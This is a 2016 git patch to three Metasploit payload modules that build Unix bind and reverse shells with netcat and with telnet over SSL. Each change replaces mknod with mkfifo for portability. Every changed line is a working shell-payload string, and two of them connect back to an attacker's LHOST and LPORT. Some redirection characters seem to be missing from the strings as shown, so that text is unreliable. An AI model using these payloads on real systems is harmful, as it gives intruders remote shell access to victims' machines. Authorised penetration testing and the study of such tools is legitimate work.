From 74e5772bbf421e508364ba909103c2a8a08cacf9 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 4 May 2016 02:32:37 -0500 Subject: [PATCH] Replace mknod with mkfifo for portability Works on BSD and OS X now. This has been bugging me for a while. --- modules/payloads/singles/cmd/unix/bind_netcat.rb | 2 +- modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb | 4 ++-- modules/payloads/singles/cmd/unix/reverse_netcat.rb | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/payloads/singles/cmd/unix/bind_netcat.rb b/modules/payloads/singles/cmd/unix/bind_netcat.rb index f6fede2db6..4ffe755672 100644 --- a/modules/payloads/singles/cmd/unix/bind_netcat.rb +++ b/modules/payloads/singles/cmd/unix/bind_netcat.rb @@ -52,7 +52,7 @@ module MetasploitModule # def command_string backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4)) - "mknod /tmp/#{backpipe} p; (nc -l -p #{datastore['LPORT']} ||nc -l #{datastore['LPORT']})0/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}" + "mkfifo /tmp/#{backpipe}; (nc -l -p #{datastore['LPORT']} ||nc -l #{datastore['LPORT']})0/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}" end end diff --git a/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb index f6ad174f4d..17ac952d29 100644 --- a/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb @@ -19,7 +19,7 @@ module MetasploitModule super(merge_info(info, 'Name' => 'Unix Command Shell, Reverse TCP SSL (telnet)', 'Description' => %q{ - Creates an interactive shell via mknod and telnet. + Creates an interactive shell via mkfifo and telnet. This method works on Debian and other systems compiled without /dev/tcp support. This module uses the '-z' option included on some systems to encrypt using SSL. @@ -53,6 +53,6 @@ module MetasploitModule # def command_string pipe_name = Rex::Text.rand_text_alpha( rand(4) + 8 ) - cmd = "mknod #{pipe_name} p && telnet -z verify=0 #{datastore['LHOST']} #{datastore['LPORT']} 0<#{pipe_name} | $(which $0) 1>#{pipe_name} & sleep 10 && rm #{pipe_name} &" + cmd = "mkfifo #{pipe_name} && telnet -z verify=0 #{datastore['LHOST']} #{datastore['LPORT']} 0<#{pipe_name} | $(which $0) 1>#{pipe_name} & sleep 10 && rm #{pipe_name} &" end end diff --git a/modules/payloads/singles/cmd/unix/reverse_netcat.rb b/modules/payloads/singles/cmd/unix/reverse_netcat.rb index 1b45da190d..f21efada0d 100644 --- a/modules/payloads/singles/cmd/unix/reverse_netcat.rb +++ b/modules/payloads/singles/cmd/unix/reverse_netcat.rb @@ -52,7 +52,7 @@ module MetasploitModule # def command_string backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4)) - "mknod /tmp/#{backpipe} p; nc #{datastore['LHOST']} #{datastore['LPORT']} 0/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe} " + "mkfifo /tmp/#{backpipe}; nc #{datastore['LHOST']} #{datastore['LPORT']} 0/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe} " end end